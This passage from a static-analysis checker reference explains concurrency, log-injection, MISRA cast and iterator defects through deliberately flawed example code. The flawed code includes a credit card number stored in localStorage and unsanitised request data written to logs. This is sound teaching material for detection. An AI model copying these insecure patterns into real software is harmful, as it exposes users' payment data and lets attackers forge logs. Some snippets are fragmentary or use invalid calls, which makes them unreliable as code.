This example writes a `creditCardNumber` to `localStorage` using the `angular-webstorage-service` plugin. If the code contains an XSS vulnerability, the contents of `localStorage` including the `creditCardNumber` value can be retrieved by an attacker. The defect is generated for the `this.storage.set` call.

```
export class StorageComponent implements OnInit {

 public static CCN_Key = "ccn"; //credit card number

 constructor(
 protected localStorage: LocalStorage,
 @Inject(LOCAL_STORAGE) private storage: StorageService
) { }
```

```
private storeData(creditCardNumber) {
 this.storage.set(StorageComponent.CCN_Key, creditCardNumber);
}
}
```

## 4.201. LOCK

Quality, Concurrency Checker

### 4.201.1. Overview

**Supported Languages:** C, C++, Go, Objective-C, Objective-C++

LOCK finds many cases where a lock/mutex is acquired but not released, or is locked twice without an intervening release. Usually, this issue occurs because an error-handling path fails to release a lock. The result is usually a deadlock.

Two types of locks are supported:

- Exclusive : An exclusive lock cannot be acquired recursively and any attempt to do so will deadlock.
- Recursive : The same thread can recursively acquire a recursive lock.

A lock can be either a global variable or local to a function.

LOCK reports a defect when the following sequence occurs:



#### Note

The values in parenthesis, such as (+lock), are a documentation convention used to aid in illustrating the following examples.

1. A variable L is locked (+lock).
2. L is not unlocked (-unlock).

One of the following can now occur:

- The path's end is reached (-lock\_returned) and L does not appear anywhere in the function's return value or its expression.
- L is locked again (+double\_lock). (Only for exclusive locks.)

No errors are reported for functions that intentionally lock a function argument.

Defects are also reported when the following sequence occurs:

1. L is unlocked (+unlock) .

2. L is passed to a function which asserts that lock L is held (+lockassert).

Forgetting to release an acquired lock can result in the program hanging : subsequent attempts to acquire the lock fail as the program waits for a release that will never occur.

**Disabled by default:** LOCK is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Concurrency checker enablement:** To enable LOCK along with other concurrency checkers that are disabled by default, use the `--concurrency` option with the `cov-analyze` command.

## 4.201.2. Examples

This section provides one or more LOCK examples.

### 4.201.2.1. C languages

```
 any thread attempting to lock it
 will wait indefinitely */
 return -1;
}
spin_unlock(data->lock);
return 0;
}
```

```
fn() {
 for (i = 0; i < 10; i++) {
 lock(A); // +lock, +double_lock

 if (cond)
 continue; // -unlock
 unlock(A);
 }
}
```

```
fn(L l) {
 lockassert(l);
 // ...
}

caller() {
 lock(A);
 unlock(A); // +unlock
 fn(A); // +lockassert
}
```

As shown next, the checker recognizes and uses waits on conditions:

```
pthread_cond_wait(&condition, &mutex); // => infer mutex is locked upon return
```

```
pthread_mutex_lock(&mutex); // Defect: double_lock event
```

The checker reports the next defects when a mutex is unlocked twice or unlocked while still initialized. This applies to non-recursive locks.

```
// Example 1:
pthread_mutex_unlock(&mutex);
// Code that does not involve locks:
pthread_mutex_unlock(&mutex); // Defect: double_unlock

// Example 2:
pthread_mutex_init(&mutex, 0);
// Code that does not involve locks:
pthread_mutex_unlock(&mutex); // Defect: double_unlock event
```

To avoid the next defect, locks should be destroyed only when not held.

```
pthread_mutex_lock(&mutex);
// Code that does not involve locks:
pthread_mutex_destroy(&mutex); // Defect: locked_destroy event
```

Your code should wait on a given condition ( `&cond` ) while holding a lock. If the checker detects that a lock is not held, it reports a defect:

```
pthread_mutex_init(&mutex); // Initialized and unlocked
// Code that does not involve locks:
pthread_mutex_wait(&cond, &mutex); // Defect: unlocked_wait event
```

The checker reports a defect in different cases when uninitialized locks are used. After a lock is destroyed, anything other than a re-initialization will produce in a defect report, as shown below.

```
pthread_mutex_destroy(&mutex);
// Code that does not involve locks:
pthread_mutex_destroy(&mutex); // Defect here: uninitialized_use event
```

Below, the checker detects cases where a lock known to already be initialized is initialized again. This can happen when it is locked or unlocked.

```
// Example 1:
pthread_mutex_init(&mutex, 0);
pthread_mutex_init(&mutex, 0); // Defect here: double_initialization event

// Example 2:
pthread_mutex_lock(&mutex, 0);
pthread_mutex_init(&mutex, 0); // Defect here: double_initialization event

// Example 3:
pthread_mutex_unlock(&mutex, 0);
pthread_mutex_init(&mutex, 0); // Defect: double_initialization event
```

### 4.201.2.2. Go

In the following example, the function may be returned without unlocking the lock, which causes a `LOCK` defect.

```
func missingUnlock(mutex * sync.Mutex, cond bool) {
 mutex.Lock()
 if(cond) {
 return; //#defect#LOCK
 }
 mutex.Unlock()
}
```

### 4.201.3. Options

This section describes one or more `LOCK` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `LOCK:track_globals:<boolean>` - When this option is set to `true`, the checker tracks global locks. Using this option might increase false positives. Linux code base is extremely sensitive to this setting. Other code bases might benefit from this option. Defaults to `LOCK:track_globals:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

### 4.201.4. Events

This section describes one or more events produced by the `LOCK` checker.

- `double_initialization` - an attempt to reinitialize an initialized lock. See a code example, above.
- `double_lock` - an attempt to acquire a non-recursive lock that is already held. See a code example, above.
- `double_unlock` - an attempt to release a non-recursive lock that is not held.
- `lock` - a variable is locked.
- `lockassert` - a variable is passed to a function that asserts that the lock is held.
- `locked_destroy` - an attempt to destroy a lock that is currently held. See a code example, above.
- `lock_returned` - a variable does not appear in the function's return value or its expression, after the path's end is reached.
- `missing_unlock` - a variable is accessed without a lock.

- `uninitialized_use` - an attempt to use an uninitialized lock. See a code example, above.
- `unlocked_wait` - an attempt to wait on a condition when a lock is not held. See a code example, above.
- `unlock` - a variable is not unlocked.

## 4.202. LOCK\_EVASION

Quality Checker

### 4.202.1. Overview

**Supported Languages:** C#, Java, VB.NET

LOCK\_EVASION finds many instances in which the code evades the acquisition or sufficient holding of a lock that is protecting against modification of thread-shared data by checking a piece of that thread-shared data. The evasion might consist of not acquiring the lock or of releasing the lock early (leaving the modification itself unguarded). Evasion of holding a lock in this way can allow operations to be interleaved or reordered at runtime, such that data races occur.

In addition to reporting other incorrect locking patterns, this checker also reports defects on the double-checked lock pattern. This well-studied idiom consists of a null check on a non-volatile field, followed by a synchronized block entry, followed by the same null check. This pattern is fundamentally flawed in Java and is considered an unsafe and unnecessary coding practice in C#. In almost all Java cases, data corruption is possible, and when not possible, code can usually be removed to get the same effect with better efficiency and clarity.

Here is the most common way that corrupted data gets read:

1. The first thread that executes the code discovers that the field is null (twice) and assigns that field to a newly constructed object.
2. A second thread enters the code and discovers that the field is not null. It then reads data fields of the referenced object without holding the same lock that guarded the creation and initialization of that object.

In such a case, the Java Memory Model does not guarantee that the second thread will read the fully initialized data, even though it read the updated object reference. The compiler or CPU can reorder the writes, or the memory subsystem can propagate them out of order, or both. For a Java code example of the double-checked lock pattern, see the double-checked lock pattern example.

**Enabled by default:** LOCK\_EVASION is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.202.2. Examples

This section provides one or more LOCK\_EVASION examples.

**4.202.2.1. C#**

```
class SomeClass {
 public int field1;
 public int field2;

 public SomeClass(int x, int y) {
 field1 = x;
 field2 = y;
 }
};

class LockEvasionExamples {
 object myLock;
 public SomeClass obj;

 // obj could be initialized multiple times if multiple threads reach the
 // lock statement simultaneously.
 public void simpleSingleCheck(int x, int y) {
 if(obj == null) {
 lock(myLock) {
 obj = new SomeClass(x, y);
 }
 }
 int localX = obj.field1;
 }

 // Obj can be initialized multiple times if multiple threads make it
 // through the locked region before any thread assigns a new value to obj.
 public void incorrectSingleCheckLazyInit(int x, int y) {
 lock(myLock) {
 if(obj != null) {
 return;
 }
 }
 obj = new SomeClass(x, y);
 }

 public void callerOfIncorrectSingleCheck() {
 incorrectSingleCheckLazyInit(3, 5);
 int localX = obj.field1; // Can get bad data
 }

 // Correct lazy initialization
 public void correctSingleCheckLazyInit(int x, int y) {
 lock(myLock) {
 if(obj == null) {
 obj = new SomeClass(x, y);
 }
 }
 int localX = obj.field1;
 }
}
```

```
// Technically, this is correct; the release semantics of C# constructors
// guarantee that the initialization of fields in a constructed object
// happen before the return of the constructor. Although this checker
// understands that this pattern is ok, don't rely upon it in your code...
public void doubleCheckLazyInit(int x, int y) {
 if(obj == null) {
 lock(myLock) {
 if(obj == null) {
 obj = new SomeClass(x, y);
 }
 }
 }
}

// ...because all it takes is another correlated field write for this
// guarantee to no longer hold perfectly. Below, obj being non-null
// guarantees nothing about the state of obj2. To ensure that all of the
// writes that another thread may have performed in the critical section
// are seen by the current thread, we must hold myLock.
SomeClass obj2;
public void doubleCheckCorrelatedFieldLazyInit(int x, int y) {
 if(obj == null) {
 lock(myLock) {
 if(obj == null) {
 obj = new SomeClass(x, y);
 obj2 = new SomeClass(y, x);
 }
 }
 }
 int localX = obj2.field1;
}

// The setting of inCriticalSection to false can be moved at runtime inside
// the synchronized block, effectively replacing setting it to true. Thus,
// the boolean provides no protection.
public bool indicatorBool;
public bool inCriticalSection;
public void earlyReleaseLazyInit(int x, int y) {
 lock(myLock) {
 if(inCriticalSection) {
 return;
 }
 inCriticalSection = true;
 }
 obj = new SomeClass(x, y);
 inCriticalSection = false;
}

public void callerOfEarlyReleaseLazyInit(int x, int y) {
 earlyReleaseLazyInit(x, y);
 int local = obj.field1;
}
```

```
// The setting of indicatorBool to true can be reordered in front of the
// setting of obj. Thus, this function can return while obj is still null.
public void indicatorBoolCheckLazyInit(int x, int y) {
 if(indicatorBool) {
 return;
 }
 lock(myLock) {
 if(indicatorBool) {
 return;
 }
 obj = new SomeClass(x, y);
 indicatorBool = true;
 }
}

public void callerOfIndicatorBoolCheckLazyInit(int x, int y) {
 indicatorBoolCheckLazyInit(x, y);
 int local = obj.field1;
}
}
```

#### 4.202.2.2. Java

```
class SomeClass {
 public int field1;
 public int field2;

 public SomeClass(int x, int y) {
 field1 = x;
 field2 = y;
 }
};

class LockEvasionExamples {
 Object lock;
 public SomeClass obj;

 // obj can be initialized multiple times if multiple threads reach the lock
 // statement simultaneously.
 public void simpleSingleCheckLazyInit(int x, int y) {
 if(obj == null) {
 synchronized(lock) {
 obj = new SomeClass(x, y);
 }
 }
 int local = obj.field1;
 }

 // obj can be initialized multiple times if multiple threads execute the
 // critical section before obj is initialized.
 public void incorrectSingleCheckLazyInit(int x, int y) {
 synchronized(lock) {
 if(obj != null) {
```

```
 return;
 }
}
obj = new SomeClass(x, y);
}

public void callsIncorrectSingleCheckLazyInit(int x, int y) {
 incorrectSingleCheckLazyInit(x, y);
 int local = obj.field1; // Can get bad data
}

// Correct lazy initialization.
public void correctSingleCheckLazyInit(int x, int y) {
 synchronized(lock) {
 if(obj == null) {
 obj = new SomeClass(x, y);
 }
 }
}

// A thread can see obj as not being null before its fields are
// initialized, causing obj to be used before its constructor has
// finished.
public void doubleCheckLazyInit(int x, int y) {
 if(obj == null) {
 synchronized(lock) {
 if(obj == null) {
 obj = new SomeClass(x, y);
 }
 }
 }
 int local = obj.field1;
}

// The assignment setting inCriticalSection to false can be moved inside
// the synchronized block at runtime, effectively replacing setting it to
// true. Thus, the boolean provides no protection.
public boolean inCriticalSection;
public void earlyReleaseLazyInit(int x, int y) {
 synchronized(lock) {
 if(inCriticalSection) {
 return;
 }
 inCriticalSection = true;
 }
 obj = new SomeClass(x, y);
 inCriticalSection = false;
}

public void callsEarlyReleaseLazyInit(int x, int y) {
 earlyReleaseLazyInit(x, y);
 int local = obj.field1;
}
```

```
public boolean indicatorBool;

// The setting of indicatorBool to true can be reordered in front of the
// setting of obj at runtime.
public void indicatorBoolCheckLazyInit(int x, int y) {
 if(indicatorBool) {
 return;
 }
 synchronized(lock) {
 if(indicatorBool) {
 return;
 }
 obj = new SomeClass(x, y);
 indicatorBool = true;
 }
}

public void callsIndicatorBoolCheckLazyInit(int x, int y) {
 indicatorBoolCheckLazyInit(x, y);
 int local = obj.field1;
}
}
```

**Double-checked lock pattern:** The following Java example allows the most common form of data corruption to occur. The note on the Double-checked lock pattern [p. 389] above describes this issue in more detail.

```
public class TestDCL {
 private static Integer value;

 public static Integer dcStatic() {
 if (TestDCL.value == null) { /* Check outside of synchronized context */
 synchronized (TestDCL.class) { // Lock acquired
 if (TestDCL.value == null) { /* TestDCL.value checked against null
again */
 TestDCL.value = new Integer(5);
 }
 }
 }
 assert TestDCL.value.intValue() == 5; // Can fail

 return TestDCL.value;
 }
}
```

If the above method is called from two threads, the assertion can fail in one of them because the memory writes in the other thread might happen or propagate in the wrong order.

One way to fix this issue: Remove the outer, unsynchronized check against null.

Another fix (for Java VMs version 1.5 or greater): Declare the field `value` to be `volatile`. In some cases, including the `TestDCL` example above, `volatile` eliminates the need for explicit synchronization.

#### 4.202.2.3. VB.NET

The following examples show what might cause a `LOCK_EVASION` defect in VB.NET code.

In this example, `obj` can be initialized multiple times if multiple threads make it through the locked region before any thread assigns a new value to `obj`.

```
Class SomeClass
 Private field1 As Integer
 Private field2 As Integer

 Public Sub New(ByVal x As Integer, ByVal y As Integer)
 field1 = x
 field2 = y
 End Sub
End Class

Class LockEvasionExamples
 Private myLock As Object
 Public obj As SomeClass

 Public Sub simpleSingleCheck(ByVal x As Integer, ByVal y As Integer)
 If obj Is Nothing Then
 SyncLock myLock 'LOCK_EVASION here
 obj = New SomeClass(x, y)
 End SyncLock
 End If
 End Sub
End Class
```

In this example, `obj` can be initialized multiple times if multiple threads make it through the locked region before any thread assigns a new value to `obj`.

```
Public Sub incorrectSingleCheck(ByVal x As Integer, ByVal y As Integer)
 SyncLock myLock
 If obj IsNot Nothing Then 'LOCK_EVASION here
 Return
 End If
 End SyncLock
 obj = New SomeClass(x, y)
End Sub

Public Sub correctSingleCheck(ByVal x As Integer, ByVal y As Integer)
 SyncLock myLock
 If obj Is Nothing Then
 obj = New SomeClass(x, y)
 End If
 End SyncLock
End Sub
```

```
End SyncLock
End Sub
```

As we see next, all it takes is another correlated field write for the double checked guarantee to no longer hold perfectly. In the `incorrectDoubleCheckCorrelatedField` function, `obj` being non-`Nothing` guarantees nothing about the state of `obj2`. To ensure that all of the writes that another thread might have performed in the critical section are seen by the current thread, we must check for `obj2` as well.

```
Public Sub doubleCheck(ByVal x As Integer, ByVal y As Integer)
 If obj Is Nothing Then
 SyncLock myLock
 If obj Is Nothing Then
 obj = New SomeClass(x, y)
 End If
 End SyncLock
 End If
End Sub

Private obj2 As SomeClass
Public Sub doubleCheckCorrelatedField(ByVal x As Integer, ByVal y As Integer)
 If obj Is Nothing Then 'LOCK_EVASION here
 SyncLock myLock
 If obj Is Nothing Then
 obj = New SomeClass(x, y)
 obj2 = New SomeClass(y, x)
 End If
 End SyncLock
 End If
End Sub
```

In this example, the setting of `inCriticalSection` to `false` can be moved at runtime inside the synchronized block, effectively replacing setting it to `true`. Thus, the boolean provides no protection.

```
Public inCriticalSection As Boolean
Public indicatorBool As Boolean
Public Sub earlyRelease(ByVal x As Integer, ByVal y As Integer)
 SyncLock myLock
 If inCriticalSection Then 'LOCK_EVASION here
 Return
 End If
 inCriticalSection = True
 End SyncLock
 obj = New SomeClass(x, y)
 inCriticalSection = False
End Sub
```

In this example, the setting of `indicatorBool` to `true` can be reordered in front of the setting of `obj`. Thus, this function can return while `obj` is still `Nothing`.

```
Public Sub indicatorBoolCheck(ByVal x As Integer, ByVal y As Integer)
 If indicatorBool Then 'LOCK_EVASION here
 Return
 End If
 SyncLock myLock
 If indicatorBool Then
 Return
 End If
 obj = New SomeClass(x, y)
 indicatorBool = True
 End SyncLock
End Sub
End Class
```

### 4.202.3. Events

C#, Java

The following describes a sequence of events in a thread interleaving example. The order of the events might not be closely linked to their line number. When triaging a LOCK\_EVASION defect, you should pay close attention to the order in which the defect report states that the events occur.

- thread1\_reads\_field - [C#, Java] Thread1 reads a thread-shared field at this location.
- thread2\_reads\_field - [C#, Java] Thread2 reads a thread-shared field at this location.
- thread1\_checks\_field\_ - [C#, Java] Thread1 checks the value of a thread-shared field at this location.
- thread2\_checks\_field\_ - [C#, Java] Thread2 checks the value of a thread-shared field at this location.
- thread2\_checks\_field\_early - [C#, Java] Possibly the main event: Thread2 performs an unlocked check of the value of the thread-shared field while a critical section that modifies the field is still running.
- thread1\_acquires\_lock - [C#, Java] Thread1 acquires a lock.
- thread2\_acquires\_lock - [C#, Java] Thread2 acquires a lock.
- thread1\_double\_checks\_field - [C#, Java] Thread1 checks the value of a thread-shared field again while holding additional locks.
- thread1\_modifies\_field - [C#, Java] Thread1 modifies a thread-shared field.
- thread2\_modifies\_field - [C#, Java] Thread2 modifies a thread-shared field.
- thread1\_overwrites\_value\_in\_field - [C#, Java] Possibly the main event: Thread1 performs a second modification to a thread-shared field that the code attempts to ensure is assigned only once.
- remove\_unlocked\_check - [C#, Java] Remediation advice: Suggests that you fix your code by removing an outer unlocked check.

- `use_same_locks_for_read_and_modify` - [C#, Java] Remediation advice: Suggests that you guard the read and modify of the field with the same set of locks. This event can apply to the read or modify process, whichever is guarded by fewer locks.
- `correlated_field` - [C#, Java] Identifies a modification of a field that occurs in the same critical section as the modification of the field that is involved in the avoiding condition. At most, three of these events will be produced per defect.

## 4.203. LOCK\_INVERSION

Quality (C#, Java), Security (Java), Concurrency (C#) Checker

### 4.203.1. Overview

**Supported Languages:** C#, Go, Java

LOCK\_INVERSION finds many cases where the program acquires a pair of locks/mutexes in different orders in different places. This issue can lead to a deadlock if two threads simultaneously use the opposite order of acquisition.

For example, the following sequence leads to a deadlock that results in the program hanging.

1. Thread 1 acquires and holds lock A while attempting to acquire lock B.
2. Thread 2 acquires and holds lock B while attempting to acquire shared lock A.

#### Enablement

##### C#

- **Disabled by default:** `LOCK_INVERSION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

##### Go

- **Disabled by default:** `LOCK_INVERSION` is disabled by default. To enable it, you can use the `--concurrency` option to the `cov-analyze` command.

##### Java

- **Enabled by default:** `LOCK_INVERSION` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.203.2. Examples

#### 4.203.2.1. C#

In the following example, a `LOCK_INVERSION` defect occurs because `method()` is holding `myLock` while attempting to acquire `Test`, and `method2()` is holding `Test` while attempting to acquire `myLock`.

```
public class Test {
 public object myLock;

 public void method() {
 lock(myLock) {
 lock(typeof(Test)) {
 }
 }
 }

 public void method2() {
 lock(typeof(Test)) {
 lock(myLock) {
 }
 }
 }
}
```

#### 4.203.2.2. Go

In the following example, the sequence of lock calls is different between `order1` and `order2`, which triggers a `LOCK_INVERSION` defect.

```
type MyStruct struct {
 mutex1 *sync.Mutex
 mutex2 *sync.Mutex
 data int
}

func order1(t * MyStruct) {
 t.mutex1.Lock()
 t.mutex2.Lock() //#defect#LOCK_INVERSION
 t.data++
 t.mutex2.Unlock()
 t.mutex1.Unlock()
}

func order2(t * MyStruct) {
 t.mutex2.Lock()
 t.mutex1.Lock()
 t.data++
 t.mutex1.Unlock()
 t.mutex2.Unlock()
}
```

#### 4.203.2.3. Java

In the following lock inversion example, if two separate threads call `lock1` and `lock2`, it is possible that neither thread will be able to make progress towards acquiring the necessary set of locks:

```
public class Deadlock {
 static Object o1;
```

```
static Object o2;
public static void lock1() {
 synchronized(o1) {
 ...
 synchronized(o2) {
 ...
 }
 }
}
public static void lock2() {
 synchronized(o2) {
 ...
 synchronized(o1) {
 ...
 }
 }
}
```

### 4.203.3. Options

This section describes one or more `LOCK_INVERSION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `LOCK_INVERSION:max_lock_depth:<maximum_value>` - This option specifies the maximum depth of the call chain that acquires the second lock while the first lock is held. This option exists because when the lock acquisitions are separated by a deeply nested call chain, there is often some other synchronization mechanism involved that the analysis cannot interpret, so the resulting reports are often false positives. By default, if a second lock is acquired in a call chain that has more than 6 `getlock` calls, the analysis will not treat it as a lock acquired when holding another lock. As a consequence, it might suppress a `LOCK_INVERSION` defect that is associated with that pair. To find such an issue, enable this option by increasing the `max_lock_depth` value. Defaults to `LOCK_INVERSION:max_lock_depth:6`

Example:

```
--checker-option LOCK_INVERSION: max_lock_depth :7
```

### 4.203.4. Events

This section describes one or more events produced by the `LOCK_INVERSION` checker.

- `lock_acquire` : Acquiring the lock represented by the first element of a lock order, whether the lock order is correct or incorrect.
- `lock_order` : Acquiring the lock represented by the second element of the incorrect lock order.
- `example_lock_order` : Acquiring the lock represented by the second element of a correct lock order.

- `getlock` - [Java only] The actual lock acquisition if it occurs in a different method.

## 4.204. LOG\_INJECTION

Security Audit Checker

### 4.204.1. Overview

**Supported Languages:** Java, C#, Visual Basic

`LOG_INJECTION` reports a defect when tainted data is stored in logs. If tainted data flows to a logging function, an attacker can forge log messages to confuse automated log parsing tools or developers trying to diagnose an attack or other problem.

**Disabled by default:** `LOG_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security audit enablement:** To enable `LOG_INJECTION` along with other security audit features, use the `--enable-audit-mode` option. Enabling audit mode has other effects on checkers. For more information, see the description of the `cov-analyze` command in the *Coverity Command Reference*.

### 4.204.2. Examples

This section provides one or more `LOG_INJECTION` examples.

#### 4.204.2.1. C#

The defect is reported for the `Console.WriteLine` statement.

```
using System;
using System.Web;

public class LogInjectionExample {

 void defect(HttpRequest req) {
 string attachment = req["attachment"];
 Console.WriteLine(attachment);
 }
};
```

#### 4.204.2.2. Java

The following example demonstrates a simple case of tainted data being stored in the logs; A defect is reported for the `MyLogger.info` statement:

```
import javax.servlet.http.HttpServletRequest;
import java.util.logging.Logger;

class Test {
 private static Logger MyLogger = Logger.getLogger("InfoLogging");
```

```
HttpServletRequest req;

void simple_test() {
 String attachment = req.getParameter("attachment");
 MyLogger.info (attachment);
}
};
```

#### 4.204.2.3. Visual Basic

The defect is reported for the `Console.WriteLine` statement.

```
Imports System
Imports System.Web

Public Class LogInjectionExample

 Public Sub defect (ByVal req as HttpRequest)
 Dim attachment = req("attachment")
 Console.WriteLine(attachment)
 End Sub
End Class
```

#### 4.204.3. Modelling

The Java primitive `com.coverity.primitives.SecurityPrimitives.logging_sink(Object msg)` is used to model methods that store some data in logs.

### 4.205. MISMATCHED\_ITERATOR

Quality Checker

#### 4.205.1. Overview

**Supported Languages:** C++

This C++ checker reports many occurrences when an iterator from an STL container is incorrectly passed to a function from another container. The checker also reports defects when an iterator from one container is compared to an iterator from a different container.

The following STL containers are supported: `vector`, `list`, `map`, `multimap`, `set`, `multiset`, `hash_map`, `hash_multimap`, `hash_set`, `hash_multiset`, `basic_string`, `forward_list`, `unordered_map`, `unordered_multimap`, `unordered_set`, `unordered_multiset`.

**Enabled by default:** `MISMATCHED_ITERATOR` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.205.2. Examples

This section provides one or more `MISMATCHED_ITERATOR` examples.

The following example erases an iterator from the wrong container:

```
void test(vector<int> &v1, vector<int> &v2) {
 vector<int>::iterator i = v1.begin();
 // Defect: Uses "i" from "v1" in a method on "v2"
 v2.erase(i);
}
```

The following example erases in iterator from the wrong container after a splice:

```
void test(list<int> &l1, list<int> &l2) {
 list<int>::iterator i = l1.begin();
 l2.splice(l2.begin(), l1);
 // Defect: i belonged to l1 but was transferred to l2 with "splice"
 l1.erase(i);
}
```

The following example compares iterators from different containers:

```
void test(list<int> &l1, list<int> &l2) {
 // Error: comparing "i" from "l1" with "l2.end()"
 for(list<int>::iterator i = l1.begin(); i != l2.end(); ++i){}
}
```

### 4.205.3. Options

This section describes one or more `MISMATCHED_ITERATOR` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `MISMATCHED_ITERATOR:container_type:<regular_expression>` - This C++ option specifies an additional set of types to treat as STL containers. A type is treated as a container if its simple identifier (no scope qualifiers) fully (not a substring) matches the specified regular expression, and it has an `end()` method. You can specify multiple types by separating them with the `'|'` regex operator. Default is unset.

The checker always includes the default container names. The checker treats a variable as an iterator if its type is the same as the return value of any overload of `end()`.

To specify multiple types as containers, use a regular expression alternative, for example:

```
-co MISMATCHED_ITERATOR:container_type:myVector|myArray
```

Be sure to escape the pipe from your shell. If you specify the `container_type` option multiple times, only the last value is used. Compare this option to the separate `container_type` option to the `INVALIDATE_ITERATOR` checker.

- `MISMATCHED_ITERATOR:report_comparison:<boolean>` - When this C++ option is true, the checker will report when iterators from different containers are compared. Defaults to `true`. Defaults to `MISMATCHED_ITERATOR:report_comparison:true` (disabled if false).

## 4.205.4. Events

This section describes one or more events produced by the `MISMATCHED_ITERATOR` checker.

- `assign` - An iterator is assigned to another iterator.
- `mismatched_comparison` - An iterator from some container was compared to an iterator from a different container.
- `mismatched_iterator` - Iterator from the wrong container was used.
- `return_iterator` - A function returned an iterator.
- `return_iterator_offset` - A function returned an iterator that is an offset from another iterator that is passed as an argument.
- `splice` - Called the `list::splice` function.
- `splice_arg` - Invalid iterator passed to `splice`.
- `temporary_copy` - An iterator object is implicitly stored in a temporary object. When a function returns a container by value, that container is copied to a temporary object, and is distinct from any other container, including one returned by an identical function call.

## 4.206. MISRA\_CAST

Quality Checker

### 4.206.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`MISRA_CAST` finds violations of the Motor Industry Software Reliability Association (MISRA)-C:2004 Rules 10.1 through 10.5. These rules all pertain to explicit casts and implicit conversions that can, under some circumstances, lead to unexpected changes to integer or floating values in the course of evaluating expressions.

**Disabled by default:** `MISRA_CAST` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Summaries of the relevant MISRA rules follow:

**MISRA-C 10.1.** The value of an expression of integer type shall not be implicitly converted to a different type if:

1. it is not a conversion to a wider type of the same signedness, or
2. the expression is complex, or
3. the expression is not constant and is a function argument, or
4. the expression is not constant and is a return expression

**MISRA-C 10.2.** The value of an expression of floating type shall not be implicitly converted to a different type if any of the following are true:

1. It is not a conversion to a wider floating type.
2. The expression is complex.
3. The expression is a function argument.
4. The expression is a return expression.

**MISRA-C 10.3.** The value of a complex expression of integer type can only be cast to a type that is narrower and of the same signedness as the underlying type of the expression.

**MISRA-C 10.4.** The value of a complex expression of floating type can only be cast to a narrower floating type.

**MISRA-C 10.5.** If the bitwise operators `~` and `<<` are applied to an operand of underlying type `unsigned char` or `unsigned short`, the result shall be immediately cast to the underlying type of the operand.

Although the MISRA-C:2004 rules apply only to C, the MISRA\_CAST checker finds these kinds of problems in both C and C++.

For more information, including examples of violations of these rules, refer to *MISRA-C:2004 Guidelines for the Use of the C Language in Critical Systems*, which can be purchased at [www.misra.org.uk](http://www.misra.org.uk).

### Extending the MISRA analysis

Starting in version 7.7.0, you can also run a separate MISRA analysis to find violations described in Appendix E, .

## 4.206.2. Examples

This section provides one or more MISRA\_CAST examples.

In the following example the complex expression `xs32a/xs32b` with an integer type is cast to non-integer type, and is thus a violation of Rule 10.3:

```
const int32_t xs32a = 0, xs32b = 1;
static void non_compliant1()
{
 (void)(float64_t)(xs32a / xs32b); // Defect: Casting complex expression with
 // integer type to a non-integer
 // type float64_t
}
```

In the following example `f64a` is implicitly converted to a narrower type, and is thus a violation of Rule 10.2:

```
float32_t f32a;
```

```
float64_t f64a;

int16_t compliant()
{
 f32a = 2.5F;
 f64a = f64b + f32a;
}

static void non_compliant1()
{
 f32a = f64a; // Defect, casting complex expression to narrower type
}
```

In the following example, `f32a` and `f32b` of type `float32_t` are cast to `float64_t`, and in violation of Rule 10.4:

```
extern float32_t f32a, f32b;

static void non_compliant1()
{
 (void)(float64_t)(f32a + f32b); //Defect: Type 32-bit float_t cast
 // to 64-bit float64_t
}
```

### 4.206.3. Options

This section describes one or more `MISRA_CAST` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `MISRA_CAST:allow_widening_bool:<boolean>` - When this option is `true`, the checker suppresses reporting of boolean values cast to wider integer types. Defaults to `MISRA_CAST:allow_widening_bool:false`

For example, in C++ by default the following is reported as a defect:

```
extern int x;
long long ll = (long long)(x == 0);
```

- `MISRA_CAST:check_constant_expressions:<boolean>` - When this option is `true`, the checker reports violations within constant expressions. Defaults to `MISRA_CAST:check_constant_expressions:false`

Example:

```
int const s1 = 0x80000000;
int const s2 = 0x80000000;
long long not_what_you_think = (long long)(s1 + s2); /* MISRA states that
the whole initializer is a constant expression, so default is not to
report the "late cast" of the int expression "s1 + s2" to the wider type
```

```
long long as a defect. */
```

- `MISRA_CAST:non_negative_literals_may_be_unsigned:<boolean>` - When this option is `true`, the checker changes the MISRA definition of the underlying type of an integer constant such that, if it occurs in a context requiring an unsigned type, an integer literal with a non-negative value is considered to have an unsigned underlying type if its value fits into the required type. Defaults to `MISRA_CAST:non_negative_literals_may_be_unsigned:false`

Example:

```
void f(unsigned char);

f(2); // Defect: MISRA states that "2" is a signed char,
 // so this is a 10.1 violation.
```

#### 4.206.4. Events

This section describes one or more events produced by the `MISRA_CAST` checker.

- `integer_narrowing_conversion` - MISRA-2004 Rule 10.1 violation, implicitly converting expression.
- `integer_signedness_changing_conversion` - MISRA-2004 Rule 10.1 violation, implicitly converting expression.
- `integer_complex_conversion` - MISRA-2004 Rule 10.1 violation, implicitly converting complex expression.
- `integer_non_constant_arg_conversion` - MISRA-2004 Rule 10.1 violation, implicitly converting non-constant expression.
- `integer_non_constant_rtn_conversion` - MISRA-2004 Rule 10.1 violation, implicitly converting complex expression with underlying type `int` (32 bits, signed) to type `long long int` (64 bits, signed) in a return expression.
- `integer_to_float_conversion` - MISRA-2004 Rule 10.1 violation, implicitly converting complex expression with integer type `int` to non-integer type `float64_t`.
- `float_narrowing_conversion` - MISRA-2004 Rule 10.2 violation, implicitly converting expression with type `double` (64 bits) to narrower type `float32_t` (32bits).
- `float_complex_conversion` - MISRA-2004 Rule 10.2 violation, implicitly converting complex expression: with underlying type `float` (32 bits) to type `double` (64 bits).
- `float_non_constant_arg_conversion` - MISRA-2004 Rule 10.2 violation, implicitly converting non-constant expression underlying type `float` (32 bits) to type `double` (64 bits) in a function argument.
